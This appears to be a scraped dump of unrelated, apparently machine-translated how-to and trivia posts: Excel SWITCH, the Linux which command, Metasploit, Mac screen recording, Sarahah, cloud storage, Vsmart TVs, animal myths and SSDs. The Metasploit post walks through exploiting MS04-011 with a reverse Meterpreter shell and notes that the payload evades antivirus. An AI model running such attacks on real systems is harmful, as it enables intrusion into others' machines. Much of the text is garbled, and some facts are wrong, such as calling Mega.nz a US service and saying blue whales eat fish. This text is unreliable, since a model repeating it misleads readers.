list of values ​​and returns the result in the first matching value. If no match is found, it can return the default value.\nThe structure of SWITCH function is as follows:\n SWITCH (expression, value1, result1, [default or value2, result2], . [default or value3, result3])  It has 4 arguments, one of which is optional:\nExpression (expression) is a required argument used to compare value1 . value 126. ValueN is a value used to compare expressions. ResultN is the value returned when the corresponding valueN argument matches the expression. It must be specified for each valueN argument. Default is the value returned if no match is found in the valueN expressions. This argument has no corresponding resultN expression and must be the last argument in the function. Because functions are limited to 254 arguments, you can use up to 126 pairs of value arguments and results.\nCompare SWITCH function with IFS function The SWITCH function, as well as the IFS function, helps define a range of conditions. However, with the SWITCH function you can define an expression and a sequence of values ​​and results, not some conditional statements. With the SWITCH function, you do not need to repeat the expressions again as in the IFS function.\nFor example, the IFS function below finds the exact states.\n  Explanation: cell A2 contains the 85-UT string. RIGHT function extracts the 2 rightmost characters from this string (UT). As a result, the IFS function returns to the right state (Utah). If the rightmost two characters are not equal to UT, TX or OH, the IFS function returns a question mark. Instead of TRUE, you can also use 1 = 1 or something else that is always TRUE.\nThe SWITCH function below produces identical results but is much easier to read.\n  Explanation: if the first argument (RIGHT (A2.2) in this example) is in UT, the SWITCH function returns Uta; if TX returns to Texas; If OH returns to Ohio. The final argument (question mark in this example) is always the default value (if no match is found).\nSimilarly, you can see the following example with the rating system, the SWITCH function looks more compact.\n    See how the SWITCH function works when combined with other functions. Suppose, we have a few days and want to see it quickly is today, yesterday or tomorrow. To do this, we will use the TODAY function to return the serial number of the current day and the DAYS function returns the number of days between two dates.\nYou can see the SWITCH function works perfectly for this task.\n  With the IF function, conversion needs some integration and complexity. So you will be more likely to make mistakes.\n  However, it is not always possible to use the SWITCH function in Excel. There are many examples where you cannot use the SWITCH function instead of the IFS function.\n  Explain: because here the \"\" symbols are used in this IFS function, you cannot use the SWITCH function.\nThe SWITCH function is really a useful function, which saves time and makes fewer mistakes.\nI wish you all success!\nSee more:\nThese are the most basic functions in Excel that you need to understand How to combine Sumif and Vlookup functions in Excel How to use the SUM function to calculate totals in Excel ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnq1tMRmqrChpJi1brLUp5qtoZ%2Bjeqq6jJ6vnJ2cYn9xfZU%3D\n","link":"/post/how-to-use-the-switch-function-in-excel-2016/","section":"post","tags":null,"title":"How to use the SWITCH function in Excel 2016"},{"body":"The which command in Linux determines the executable binary, which will execute when you issue a command to the shell. If you have different versions of the same program on your computer, you can use which to find out which shell will use.\nInstructions for using which command in Linux Binary and path See the links Which command See results Check multiple commands at the same time Binary and path When you try to run a program or command from a Terminal window, the shell (usually Bash on modern distributions) has to find that command and launch it. A number of commands, such as cd , history and pwd , are integrated into the shell, so Bash does not take much effort to find them.\nBut how does Bash locate external commands, programs and other independent binaries? Bash uses paths, exactly a set of paths, each leading to a directory. It then searches each directory to come up with an executable file that matches the command or program you're trying to run. When you find a suitable file, Bash will launch it and give up searching.\nYou can use echo to check the $ PATH environment variable and see the directories in the path. To do so, enter the following, then press Enter :\necho $PATH    The output list separates each path with a colon ( : . On the computer the article uses, Bash will search the directories in the following order:\n/ usr / local / sbin / usr / local / bin / usr / sbin / usr / bin / sbin / bin / user / games / usr / local / games / snap / bin There are many directories called / sbin and / bin in the file system, which can lead to some confusion.\nSee the links Suppose there is an updated version of a program called htg. It has a name in the current directory and you can run it by typing the following command:\n./htg    This is not really a program, it just prints the version number and then closes. The new version is 1.2.138.\nTo run a program in the current working directory, you must enter './' before the program name, so Bash knows where to find it.\nBecause the article wants to run this particular program from any directory, the example will move the executable program to the / usr / bin directory. Bash will find that program in the path and run it.\nFor example, there is no need to execute in the current directory, so there is no need to type './' before the program name, as shown below:\nsudo mv htg /usr/bin    Now, let the program run by typing:\nhtg    The command runs, but not the new, updated program, but instead, the older version, 1.2.105.\nwhich command The problem the article demonstrated above is why the which command was created.\nIn this example, we will use which and pass the name of the program we are testing as a command line parameter:\nwhich htg    The which command reports it found a version of htg in the / usr / local / bin directory. Because that location appears in the path before the directory where we moved the updated htg , Bash will use the previous version of the program.\nHowever, if we use the -a (all) option as shown below, it will continue searching even if a match is found:\nwhich -a htg    It then lists all matching results of any directory in the path.\nTherefore, there is a problem, which is that the previous version of the program in the directory is also included in the patch. And that directory is being searched before the directory where we have placed the new version of the program.\nTo verify, you can enter the following and run each version of the program:\n/usr/local/bin/htg  /usr/bin/htg    This explains the cause of the problem, and the solution is very simple.\nActually, you have the options: Delete the old version in / use / local / bin directory or move it from / usr / bin to / usr / local / bin.\nSee results Two results do not mean two binary files.\nLet's look at an example in which the article will use the which command with the -a (all) option and find the versions of the less program:\nwhich -a less    The which statement reports two locations containing a version of the less program, but is that true? It's strange that there are two different versions (or the same version in multiple locations) of the less program installed on Linux computers. Therefore, we will not accept the output from which . Instead, dig a little deeper.\nYou can use the ls , -l (long listing) and -h (human-readable) options to see what happens next:\nls -lh /usr/bin/less    The reported file size is 9 bytes! This is definitely not a full copy of less .\nThe first character of the list is an l . A normal file will have hyphens ( - ) as the first character. 'l' is the symbol of the symbolic link. If you miss that detail, the -\u0026gt; icon also indicates this is a symbolic link (you can think of it as a kind of shortcut). This indicates a copy of less in / bin.\nPlease try again with the less version in / bin:\nls -lh /bin/less    This entry is obviously a real binary executable. The first character of the list is a hyphen ( - ), which means it is a regular file and the file size is 167KB. Therefore, only a less copy is installed, but there is a symbolic link to it from another directory, which Bash also finds when searching for the path.\nCheck multiple commands at the same time You can pass multiple programs and commands to which and it will check them in order.\nFor example, if you type:\nwhich ping cat uptime date head    which command will work according to the list of programs and commands you have provided, and then list the results for each program.\nIn addition to digging into the Linux file system out of curiosity, which most useful when you expect a set of behaviors from a command or program, but get something else.\nYou can use which of these cases to verify that the Bash command is starting is the command you want to use.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnq1tMRmrqGhk516pLvMppinnF2eu264yKessQ%3D%3D\n","link":"/post/how-to-use-the-which-command-in-linux/","section":"post","tags":null,"title":"How to use the which command in Linux"},{"body":"METASPLOIT\n1. Introduce Metasploit The Metasploit Framework is an environment used to test, attack, and exploit service errors. Metasploit is built from Perl object-oriented language, with components written in C, assembler, and Python. Metasploit can run on most operating systems: Linux, Windows, MacOS. You can download the program at metasploit.com .\nMetasploit can automatically update starting from version 2.2 onwards, using the msfupdate.bat script in the installation directory\n2. Components of Metasploit Metasploit supports multiple interfaces with users:\nConsole interface: Use msfconsole.bat. The Msfconsole interface uses the command line to configure and test so it is faster and more flexible Web interface: Use msfweb.bat, communicate with users through the web interface Command line interface: Use msfcli.bat Environment:\nGlobal Environment: Executed through 2 setg and unsetg statements, the options assigned here will be global, included in all exploits modules. Temporary Environment: Executed via 2 set and unset statements, this environment can only be entered into the module exploit currently loading, not affecting other exploit modules. You can save the environment you have configured via the save command. That environment will be saved in /.msf/config and will be loaded again when the user interface is done.\nWhich options are shared between module exploits such as: LPORT, LHOST, PAYLOAD, you should be defined in the Global Environment.\nFor example:\n msf\u0026gt; setg LPORT 80 msf\u0026gt; setg LHOST 172.16.8.2  3. How to use the Metasploit framework 3.1. Select module exploit:\nSelect the faulty program or service that Metasploit supports to exploit.\nshow exploits: See the exploit modules that the framework supports use exploit_name: Select the module exploit info exploit_name : See information about module exploit You should regularly update service errors on metasploit.com or via msfupdate.bat script\n3.2. The exploit module configuration has been selected:\nshow options: Determine what options to configure set : Configure the options for that module Some modules also have advanced options, which you can view by typing the show advanceds command\n3.3. Confirm the configuration options:\ncheck: Check if the options are set correctly. 3.4. Select target:\nSelect the operating system you want to perform.\nshow targets: the targets provided by that module. set : determine which target For example:\n smf\u0026gt; use windows_ssl_pct show targets  Exploit will list the targets such as: winxp, winxp SP1, win2000, win2000 SP1\n3.5. Select payload:\nPayload is the code that will run on the remote computer system.\nshow payloads: List the current payload of the exploit module info payload_name: See that payload details set PAYLOAD payload_name: Determine module name payload. After selecting the payload, use the show option command to see the payload options. show advanced: See the advanced options of that payload. 3.6. Execute exploit:\nexploit: The command used to execute the payload code. Payload will then provide you with information about the system being exploited. 4. Introduce the payload meterpreter Meterpreter, short for Meta-Interpreter is an advanced payload included in the Metasploit framework. Its purpose is to provide scripts to exploit and attack remote computers. It is written from developers in the form of shared object (DLL) files. Meterpreter and extension components implemented in memory, are not written to disk, so detection from antivirus software can be avoided.\nMeterpreter provides a script so we can exploit on remote computers:\nFs: Allows uploading and downloading files from remote machines Net: Allows viewing network information of remote machines such as IP, route table Process: Allows creation of new processes on remote machines Sys: Allows viewing system information of remote machines\u0026nbsp; Use the command:\nuse -m module1, module2, module3 [-p path] [-d] : The use statement is used to load extension modules of meterpreter such as: Fs, Net, Process. loadlib -f library [-t target] [-lde] : The command allows loading libraries of remote machines. read channel_id [length] : The read command allows you to view the data of the remote machine on the connected channel. write channel_id : Write command that allows writing data to remote machines. close channel_id : Close the channel that is connected to the remote computer. interact channel_id : Start a session with the channel just set with the remote machine. initcrypt cipher [parameters] : Data encryption is sent between the host and remote machine. Using Fs module: Allows uploading and downloading files from remote machines.\ncd directory: Same as the cd command of the command line getcwd: Indicates the current working directory ls [filter_string] : list directories and files upload src1 [src2 .] dst : Upload file download src1 [src2 .] dst : Download file Use Net module:\nipconfig route: View the routing table of the remote machine. portfwd [-arv] [-L laddr] [-l lport] [-h rhost] [-p rport] [-P] : Allows you to create a forward port between the host and remote machine. Using Process module:\nexecute -f file [-a args] [-Hc] : The execute command allows you to create a new process on the remote machine and use that process to exploit data kill pid1 pid2 pid3 : Cancel processes running on the remote machine ps : List processes of remote machine. Using Sys module:\ngetuid : Indicates the current username of the remote machine sysinfo : Give information about computer name, operating system. 5. For example The localhost with 192.168.1.1 address will attack the remote machine with the address 192.168.1.2 through the error Lsass_ms04_011. This is a stack overflow error in LSA (Local Security Authority) service. Lsass.exe is a process of Microsoft Windows system, responsible for local security authentication, Active Directory management and login policies. Lsass controls both client and server authentication.\nMsf\u0026gt; use Lsass_ms04_011 Msf\u0026gt; set PAYLOAD win32_reverse_meterpreter Msf\u0026gt; set RHOST 192.168.1.2 Msf\u0026gt; set LHOST 192.168.1.1 Msf\u0026gt; Exploitation Meterpreter\u0026gt; help Meterpreter\u0026gt; use -m P // add the process script Meterpreter\u0026gt; help Meterpreter\u0026gt; ps // list of processes for which the remote machine is running Meterpreter\u0026gt; kill // turn off processes for which the remote machine is running Meterpreter\u0026gt; // attack using comandline cmd of remote machine execute: success, process id is 3516. execute: allocated channel 1 for new process. meterpreter\u0026gt; interact 1 interact: Switching to interactive console on 1 . interact: Started interactive channel 1. Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C: WINDOWS\u0026gt; echo Meterpreter interactive channel in action echo Meterpreter interactive channel in action Meterpreter interactive channel in action C: WINDOWS\u0026gt; ipconfig Caught Ctrl-C, close interactive session? [y / N] y meterpreter\u0026gt;  6. How to prevent Regularly update Microsoft patches. For example, if Metasploit cannot exploit Lsass_ms04_011 error, you must update the Microsoft patch. According to Microsoft, this is a serious error, available on almost all Windows operating systems. You should use the hotfix that has a number of 835732 to patch the above.\nTipsMake.com and readers thank you: \n Viking - (ENS Group) - Adminvietnam (vuevietnam.com/forum) has cooperated to submit this article. E mail: thanhtung22@gmail.com\nSee more:\nThe most basic insights to becoming a Hacker - Part 1 Basic Hack Techniques - Part I 10 best Hacking and security tools for Linux The way Hacker uses to remain anonymous ncG1vNJzZmismaXArq3KnmWcp51kuqbAwKynpaeZqXq1u86lZK2nXZrFsbjOoqtmrqWhu6a%2BwJugpaGknrK0\n","link":"/post/metasploit-tool-to-exploit-vulnerabilities/","section":"post","tags":null,"title":"Metasploit - Tool to exploit vulnerabilities"},{"body":"It can be said that the screen recording feature on Mac has been greatly improved since the macOS Mojave update (first introduced in 2018). Everything you need is built-in by default, allowing you to record sounds, clicks, even individual areas of the screen with just a few simple taps. Here's how to record the screen on your Mac.\nUsing the Screenshot utility The most obvious improvement is that the screen capture and video recording feature has now been integrated into a single Screenshot tool, bringing obvious convenience to users.\nYou can open the Screenshot app on your Mac using one of the following methods:\nMethod 1. Press the key combination Command + Shift + 5 . Method 2. Using Spotlight (Command + Space), search for the keyword ' Screenshot ' and Method 3. click on the corresponding application from the returned results. Method 4. Open the Utilities folder using Finder with Go \u0026gt; Utilities and select ' Screenshot '.   Set screen recording options Once the Screenshot app opens, you'll see a toolbar at the bottom of the screen. The three options on the left side of the toolbar are for taking screenshots. What you need to pay attention to here are the two options in the middle for the screen video recording feature.\n  Of these two options, ' Record Entire Screen ' allows you to record a video of the entire screen, while the other option ( Record Selected Portion ) will assist you in recording a video of only a specific area of ​​the screen. With the second option, you can optionally set up a specific screen recording area with just a few simple mouse clicks.\n  Before you start spinning, click on 'Options'. At the top of the list, you can choose a location to save your recordings.\n  In addition, you can use some other handy optional features to shoot more efficiently.\nFor example, when you need some time to prepare before you start recording, use the Timer option.\n  Or if you want to include audio in your recording, select 'Built-in Microphone'. This feature is essential in case you want to explain yourself what you are recording.\n  The 'Show Floating Thumbnail' option will also be useful if you want a thumbnail preview that appears in the corner of the screen by default.\n  If you need to show your steps on the screen, use the 'Show Mouse Clicks' option. When you enable this feature, each of your clicks will show up as a circle. That way, viewers can understand your actions in a clear and scientific order.\n  To close the screen recorder, simply click the 'X' on the left or press the Escape key on your keyboard.\nStart screen recording After you have done the necessary setup operations, click the 'Record' button on the toolbar to start recording the screen. If the Timer option is enabled, you will see a countdown timer appear on the right.\n  A small Stop button will appear in the menu bar while you record the screen. Click this button when you finish recording. Then go to the location where you chose to save the recording to review it.\n  Screen Recorder Screenshot ncG1vNJzZmismaXArq3KnmWcp51kwLWxz6xkraddp7Kku9GdZKybopqyr3nVopuep12ku265wJw%3D\n","link":"/post/steps-to-record-screen-video-on-mac/","section":"post","tags":null,"title":"Steps to record screen video on Mac"},{"body":" Have you sent an anonymous message on Sarahah that caused \"Facebook\" storm? Sarahah is an anonymous messaging application on social networks, attracting a lot of young people interested. This application allows you to say something straight to a specific audience, but they will not know who you are.\nSarahah is currently a song movement with young people, and the number of people using this application is up to 300 million people. However, before downloading this application, here are some issues you should know.\n1. You do not necessarily have to download the Sarahah app to send a message   With this application you don't need an account at all, but you can message directly at Sarahah's link that your friends share. When you click on it, it will take you to the app's website, where you will see a voicemail, you just need to send a message to the opponent.\n2. There is no way to find out who sent you a message on Sarahah   This is an anonymous messaging application, so you cannot know who will be the owner of the letter to you. In the opposite direction, you can also send messages to others without fear of being exposed.\n3. You cannot reply to messages sent via Sarahah   When using Sarahah, you cannot reply to messages sent from this application. When there is a message sent to you, you only have 2 options to choose from: sharing on another social network, or deleting the message or marking it in the \"Favorites\" section.\n4. You can block users on Sarahah For those who do not like to receive messages from a certain account, this application allows you to block them from your friends list. Once you've activated blocking someone, the message will permanently disappear from your account. Sarahah will not notify anyone who is blocked but you note that this is an \"irrevocable\" action.\n5. Sarahah application does not allow account removal   Sarahah does not allow users to remove accounts on smartphones, so before you download the application you should note this. Accordingly, if you enter the settings, you only see one option is Log out. To delete an account, you need to go to the application on the web version of the application and look to select Remove Account in the Settings section.\n6. Sarahah is a great place for the \"online bullying\" problem.   Since Sarahah appeared, many people are concerned that this technology application will be a great tool for many people to take advantage of bullying others online because of their anonymity. You can report bad or block someone's messages when using them, but this is only a temporary measure. Negative effects can still happen to \"victims\". Sarahah therefore reminds many of the \"anonymous\" applications similar to Secret, Whisper or Yik Yak.\nAlthough she considers herself to bring \"constructive contributions\" and is an interesting application, Sarahah can go beyond her limits and you should consider using it. Even police in some US cities like Kansas, Michigan and New Zealand police have made recommendations to parents about the application of Sarahah to limit the adverse effects that may happen to their children.\nncG1vNJzZmismaXArq3KnmWcp51kwam1zaCqZqyfYrivu9ZmrqGdnmLCtLXNoGSsmaKWtaK0\n","link":"/post/things-to-know-when-using-sarahah/","section":"post","tags":null,"title":"Things to know when using Sarahah"},{"body":"To meet the current technology development trend, there are many methods of data storage and protection. The following article introduces you to the Top 5 best cloud data storage services.\n1. Data storage service on Google Drive cloud   - Google Drive is one of Google's data storage services. Using Google Drive is very simple as long as you have a Gmail account to use Google Drive.\n- Speed Download and upload on Google Drive is fast.\n- Google Drive supports 15Gb users for free, you can attach large files from Google Drive into Gmail easily.\n- Support on platforms: Mobile, Tablet, Laptop, PC, Window, Linux, Mac, Android.\n- Data capacity: support 15GB (including Google Drive and Gmail accounts).\n- Upload method: Can upload multiple files at the same time.\n- Security: High security.\n2. Data storage service on Dropbox cloud   - Dropbox data storage service is used quite popular, especially for office workers. For those of you working on multiple computers, to sync data on those computers, you use Dropbox so you can work comfortably anywhere, anytime on different computers.\n- Dropbox support on platforms: Mobile, Tablet, Laptop, PC, Window, Linux, Mac, Android, iOS, Blackberry.\n- Free data capacity: Dropbox supports 2GB for free for users. If you want to have more space to use do the following:\n+ Refer a friend using Dropbox to give 500MB.\n+ With an account connected to the media: Donate 125 MB.\n+ Accounts using MailBox: have 1GB more.\n- Data volume paid: With $ 10 / month you will have a Dropbox Pro account with 1 TB of data, data is confidential .\n- Upload method: Upload multiple files at the same time.\n- Security: currently highly secure, 2-step account security.\n3. Data storage service on OneDrive cloud   - OneDrive is one of microsoft's cloud storage services. Currently Microsoft has built-in OneDrive on Win 8.1 and Win 10.\n- With OneDrive, you only need to have a Microsoft account to be able to access it, if OneDrive is built on Win you do not need to install software. However, OneDrive is not capable of syncing data like Dropbox.\n- Support on platforms: Mobile, Tablet, Laptop, PC, Window, Linux, Mac, Android.\n- Data capacity: support 15GB of free capacity.\n- Upload method: Can upload multiple files at the same time.\n- Security: High security.\n4. Data storage service on Fshare cloud   - Fshare is the leading online data storage and sharing service today. Fshare uses free cloud computing technology for special users to ensure the security of your data.\n- Fshare has 2 main features in addition to the data storage feature on special cloud platform Fshare has additional features to share data anytime, anywhere with high security.\n- Fshare stores all types of data, shares data anywhere, anytime.\nData storage: Fshare online storage is up to 300GB.\n- Method of upload: Upload data quickly and easily.\n- Security: Ensuring safety for data when storing as well as when sharing.\n- Mega.nz should be used with public data, because during storage if data is not manipulated for a while they will be deleted from the list.\n5. Data storage service on Mega.nz cloud   - Mega.nz is a famous US cloud storage service. The garden Mega.nz will encrypt files before uploading so high security. However, with Mega.nz you should use public file storage and sharing.\n- Data capacity: Mega.nz provides 50 GB of free storage for users.\n- Upload method: Upload quickly.\n- Security: High security.\nHowever, you should use Mega.nz with public data, you should not use this storage service for individuals because for files in long periods of inactivity they are deleted.\nAbove is a detailed introduction of Top 5 best cloud data storage services. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jG5km52jqXqkuM6um2ackamubr%2FTqKman5ViwKa%2B1aKang%3D%3D\n","link":"/post/top-5-best-cloud-data-storage-service/","section":"post","tags":null,"title":"Top 5 best cloud data storage service"},{"body":"Recently, VinSmart - belonging to Vingroup Group has officially launched the first 5 smart TVs of the company designed in contemporary style.\n5 Vsmart TVs are divided into 2 main product lines, including:\nKD Series: With full-screen display, optimized for visual and content experience, more balanced in design. High-class KE product line: Ultra-thin screen bezel, metal design with 3 edges.   Vsmart TVs will be from 43 to 55 inches in size, 4K resolution supporting HDR10. The device is equipped with Dolby audio technology and many features are optimized for Vietnamese people, to bring the best experience for users.\nUsing Android operating system with direct copyright from Google, Vsmart Television can provide users with many attractive features such as Google Play Games, Google Music . In addition, Vsmart Television can install more than 5,000 applications. on the Google Play store. The YouTube button is integrated right on the highly customizable control to help users easily and conveniently open up a rich and diverse entertainment and information world.\n  In order to ensure users with interesting content, VinSmart also cooperates with many domestic partners such as VTV, FPT Play, THVL, FILM + .\nIn particular, Vsmart smart TV models are equipped with Google Assistant, intelligent virtual assistant that allows users to chat and control the TV in Vietnamese. Google Assistant on Vsmart TV supports the North - Central - South voice.\n  Vsmart TV is manufactured at a modern factory complex in Hoa Lac High-Tech Park, where the air cleanliness and standard humidity ensure the machine works correctly, high stability and low error rate.\nAll products have to go through rigorous testing, including 16 automated stages, including 12 fully automated tests.\n5 Vsmart TVs are sold in major electronics systems and e-commerce sites nationwide. Vsmart TVs have a 2 year warranty.\nPrice and specific product specifications of 5 Vsmart TVs:\nVsmart TV Price of Vsmart TV 43 \"KD6600 VND 8.69 million Vsmart TV 50\" KD6800 VND 10.69 million Vsmart TV 55 \"KD6800 VND 12.49 million Vsmart TV 49\" KE8100 VND 13.99 million Vsmart 55 TV \"KE8500 16 , 99 million dong Will VSmart users have a 'VMessage' messaging service similar to iMessage? Vsmart updates VOS 2.5 for Vsmart Live, adding a lot of interesting new features ncG1vNJzZmismaXArq3KnmWcp51kw6q6xqumrqhdlruvu9Snmp6cXam1pnnFoqmsrF1qere%2FzJqprWWkq3quu8Oeo6xlkaOxs7vInWStrl2kvaa%2BwK2gp59dqMa0wMSmZKmqmZiypXnFq6amZaajsW6ElXJkpqGcobawug%3D%3D\n","link":"/post/vingroup-announced-the-first-5-vsmart-tv-models-android-tv-operating-system-priced-from-vnd-8-69-million/","section":"post","tags":null,"title":"Vingroup announced the first 5 Vsmart TV models, Android TV operating system, priced from VND 8.69 million"},{"body":"Dogs only see black, dumb fish, blue whales can swallow a car . are things that many of us think are true but are actually wrong about animals.\nHere are 12 misunderstandings about the animals in the natural world that many people think are true.\n  In winter, the temperature dropped sharply, causing the food source of wild animals to become scarce.For some animals, including bears, hibernation is an appropriate measure to save energy.\n  Dogs are not color blind, they see the world through the colors: blue, yellow, gray.Dogs cannot see red or orange.\n  Rhino horn has a basic composition similar to human hair and nails.Rhino horns have never been proven to be curable.\n  The fish makes a silent sound, the mystery lasts only 5-10 milliseconds, the pounding sound, the growl to attract mates and chase away the enemy.\n  The throat of an adult blue whale is only about 10cm wide, so they cannot swallow things larger than grapes, let alone the car.The main feed of blue whales is small fish, microorganisms and fish eggs.\n  Unlike what we often see in animated movies, mice don't like cheese at all.Their favorite foods are foods like fruits, cereals .\n  The mole's eyes are just two small dots and hidden under the fur, so many people think they are blind.In fact, the eyesight of the mole rat is very poor but can still be seen.\n  Elephants mostly walk with their toes, and their heels do not touch the ground.In addition, the foot bone is protected by a thick and flat soles of the feet that contain elastic fibers that help our feet to support the body's weight to help them walk without making a sound.\n  Gaur does not hate red, in fact they are color blind and look red in color . gray.The cause of their excitement is the fluttering movement of the gladiator's scarf.\n  Ostrich is a large bird but cannot fly but in return they run very fast.Ostrich speed can reach 70km / h.\n  Chameleon color change is not to camouflage evading enemies but the truth is to regulate body temperature and express yourself.\n  On the back of the toad there is a rough gland that secrete an acidic venom.If poisoned, you may have seizures, tetanus, cardiac arrest and death.\nHow do animals see the world far beyond humans? 12 species of animals have the strangest vision in the natural world ncG1vNJzZmismaXArq3KnmWcp51ksba5wWadoquYYq6vsIxqaGalmajCr7DEq6qtmZ6Ztq%2Bz0maYm6elqXqiusimmKWr\n","link":"/post/dumb-fish-and-11-misunderstandings-about-animals/","section":"post","tags":null,"title":"Dumb fish and 11 misunderstandings about animals"},{"body":"Today, when you buy a new computer or upgrade an old computer, you'll want to buy a solid-state drive (SSD) instead of a traditional hard drive. Indeed, switching from HDD to SSD is one of the best computer performance upgrades. So why and what makes SSDs a breakthrough technology?\nThis article will explain exactly what SSDs are, how they work, why SSDs are useful and major drawbacks when using this type of hard drive. If you want to seek advice when buying an SSD, read the article How to choose the SSD for your needs and the best SSD for Windows 2018 computers.\nFind out how SSD drives work Learn about computers and memory How the SSD works Does this mean that SSD becomes slower over time? Disadvantages of SSDs SSD performance Handling SSDs SSD is also not perfect Delete - not always safe The importance of safe data deletion  How to protect data on SSD without risk Learn about computers and memory To understand how SSDs work and why they are so useful, we must first understand how computer memory works. Computer memory architecture is divided into three parts:\n1. Cache memory\n2. Memory\n3. Data drives\nEach of these parts performs an important function, deciding how they operate.\nCache is the internal memory. When running, the computer uses cache to conduct data calculations. The path to cache is the shortest, making data access almost instantaneous. However, the cache is very small, so its data is constantly overwritten.\n  Memory may be known to you as RAM, this is where computers store data related to programs and active processes. Access to RAM is slower than cache access but not significant.\nData drives are where everything else is stored for a long time. This is the place to store all programs, configuration files, documents, music files, movies and everything else. When you want to access a file or run a program, the computer needs to download it from the data drive and into RAM.\n  It is important to know that the speed between these three memory is different. While cache and RAM operate at nanoseconds, a traditional hard drive operates at milliseconds.\nIn essence, the data drive is the bottleneck, no matter how fast everything else is, the computer can only download and store data quickly when the data drive can handle it.\nSo this is why people invented an SSD. Although the HDD is slower than cache and RAM, SSDs are much faster. This greatly reduces the amount of time it takes to load programs and processes and you will see computers much faster.\nLearn the types of memory in the market How the SSD works SSDs have functions like HDD hard drives, which store data and files for long-term use. The difference between them is that the SSD uses a type of memory called flash memory, similar to RAM but not like RAM in that it deletes all the data when the computer is turned off, the data on the SSD is still there even when it loses power.\nIf you remove a typical HDD, you'll see a stack of magnetic disks with the reader, like a reader in an old music player. Before the reader can read or write data, these discs must rotate in the right position.\nOn the other hand, an SSD uses a sheet of electrical cells to quickly send and receive data. These sheets are divided into sections called 'pages' and where data is stored. These pages are grouped together to form 'blocks'. SSDs are called solid-state drives because they don't have moving parts.\nDifferences between SSD and HDD hard drives   SSDs can only write to a blank page in a block. In the HDD, data can be recorded anywhere on the disk at any time. This means data will be overwritten more easily. SSDs cannot directly overwrite data on individual pages, they only write data to blank pages in a block.\nSo, how does SSD handle data deletion? When pages in a block are marked as unused, the SSD determines the data of the entire block into memory, then deletes the entire block and redefines the data from the memory back to the block while leaving blank unused pages. Note, deleting a block does not mean that the data completely disappears.\nDoes this mean that SSD becomes slower over time? When there's a new SSD, it's loaded completely with blocks filled with blank pages. When writing new data to SSD, data will be immediately written to those blank pages at a fast speed. However, as more and more data is recorded, blank pages run out and leave unused pages scattered throughout the blocks.\nBecause SSDs do not directly overwrite a single page, every time you want to write new data, the SSD needs:\n1. Find a block with enough pages marked \"not in use\"\n2. Recording the pages in that block is still necessary\n3. Reset all pages in that block to blank\n4. Rewrite the necessary pages to the newly reset block\n5. Fill in the remaining pages with new data\nSo in essence, when you use all the blank pages on the new SSD, your drive will have to perform this process whenever you want to write new data. This is how flash memory works. However, it is still faster than a traditional HDD and the speed achieved when using an SSD is worth buying it instead of the HDD.\nDisadvantages of SSDs Now that we know how SSD drives work, it is also understandable that its biggest drawback is that flash memory can only maintain a finite amount of write before it \"dies.\"\nThere are a lot of scientists who explain why this phenomenon happened, when using SSD in general, the charge in each of its data cells must be reset periodically. However, the resistance of each cell will increase slightly each time to reset, increasing the voltage needed to write to the cell. Finally, the required voltage becomes too high that specific cells cannot write data.\nSigns that you should replace the SSD Therefore, the SSD data cells have a finite amount of writes. However, that doesn't mean its life is short. If you are worried, please refer to the article How to increase the life and performance for SSD.\n  Although SSD has some advantages, you should also consider the following before investing in an SSD:\nIn the consumer segment, SSDs are often more expensive than HDD hard drives. Due to the SSD's unique file system structure, extracting data can be an extremely difficult and lengthy process. Because the data recovery process is very difficult and takes a long time, it can be quite expensive. Memory chips in an SSD have a limited number of write cycles, which can lead to data loss that cannot be recovered. If the controller chip, cache or one of NAND memory chips is physically damaged, your data may be completely inaccessible. If you are willing to take risks, you can enjoy all the benefits of SSD. However, you will have to make sure that you are prepared for the worst by regularly backing up your files.\nSSD performance High performance of SSD is the most important reason to use them for businesses. 95% of respondents said performance is the main criterion for buying SSDs. Only 31% of respondents believe that reliability is a factor. The number of SSDs that need to be destroyed or destroyed is expected to increase significantly in the next few years, when the proportion of businesses using SSD increases. Survey responses show that a total of 70% of companies have used SSDs since 2011 or 2012.\nWhen a company replaces some SSDs, there will be a real need to ensure business continuity and prevent loss of confidential data. Recovering data from SSDs and canceling secure data are important needs to be addressed. However, most companies do not have the proper method to recover data from faulty drives or safely handle SSDs. Data recovery can be very difficult because proprietary encryption technologies are used.\n  Handling SSDs SSD is also not perfect We can easily see that SSD is very safe because the data is stored on flash memory chip instead of magnetic tape or disk. Therefore, data loss is often due to unavoidable mechanical problems or hardware failure. SSD is not perfect. The survey revealed that more than half of the participants (51%) had to replace the faulty SSDs one or more times.\nDelete - not always safe Jim Reinert, senior director of Kroll Ontrack, said: 'Our survey shows the destruction of a series of ongoing SSDs.' 'Assuming the average life cycle of a business drive is about three years, many companies will face the question of how they can safely dispose of their old SSDs without causing Dangerous for sensitive company data. Many companies are facing the risk that some sensitive data remains on the drive may fall into the wrong hands'.\nThe importance of safe data deletion To ensure that there are no compliance with security rules, deleting secure data is essential. However, the usual methods may not always remove all data on the SSD and flash drive. Due to the special technical structure of the data on the SSD, each operation records data to another physical location. Therefore, it is possible that even after multiple recordings, traces of the original data remain in a specific memory section. Therefore, these methods are not suitable for companies with high data security needs.\nThe Kroll Ontrack survey shows that there is no standard for deleting an SSD. 40% of surveyed companies choose physical destruction methods for SSDs (usually by a shredder). 31% use software to delete data. About 22% use encryption methods to remove hardware or software keys before replacing SSDs to make data unreadable. In addition, nearly 20% of respondents did not make a decision and there was no other data cancellation method.\n  How to protect data on SSD without risk So far, destroying SSDs by physical means is the only really safe method to erase SSD data.\nIn addition, there are several other options as follows:\n1) Do not use self-Encrypting Drive (SED) drives: This type of encryption is very safe, but you will lose all data in case an error occurs. With SED, encryption keys are the responsibility of hardware manufacturers. This means that in the event of an error, professional data recovery companies cannot access the data either. Therefore, the use of this technology is not widely recommended.\n2) Override SSD with professional erase software when SSD no longer works: Many times overwriting with specialized software is the first step. Professional software for deleting data by overwriting data many times is the best way to ensure no data can be recovered.\n3) Make the remaining data encrypted and inaccessible: Unlike traditional hard drives, deleting SSDs cannot guarantee that there is no data left in separate blocks. odd. The best way to combat this is to delete the encryption keys or change the password when SSD is inactive or at least frequent. Deleting the decryption key will make any remaining data permanently unreachable.\nHopefully after this lesson you have a little more understanding of how SSDs work.\nSee more:\n5 mistakes easily 'kill' the SSD 11 things to do when using SSD hard drive on Windows 10 How to install and use SSDs for laptops 